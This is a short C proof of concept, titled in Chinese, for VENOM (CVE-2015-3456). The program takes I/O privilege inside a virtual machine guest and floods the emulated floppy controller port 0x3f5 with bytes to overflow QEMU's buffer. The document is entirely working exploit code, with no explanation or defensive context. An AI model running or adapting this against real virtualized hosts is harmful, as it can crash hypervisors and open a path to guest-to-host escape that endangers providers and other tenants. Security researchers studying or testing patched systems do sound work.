VENOM cve-2015-3456 Qemu 虚拟机逃逸漏洞POC

#include <sys/io.h>



int main()

{

        int i ;

        iopl(3);



        outb(0x8e, 0x3f5);

        outb(0x41, 0x3f5);

        outb(0x41, 0x3f5);

        outb(0x41, 0x3f5);

        outb(0x41, 0x3f5);

        outb(0x41, 0x3f5);

                

        for(i = 0 ; i < 100000 ; i++)

        {

                outb(0x42, 0x3f5);

        }

        return 0 ;

}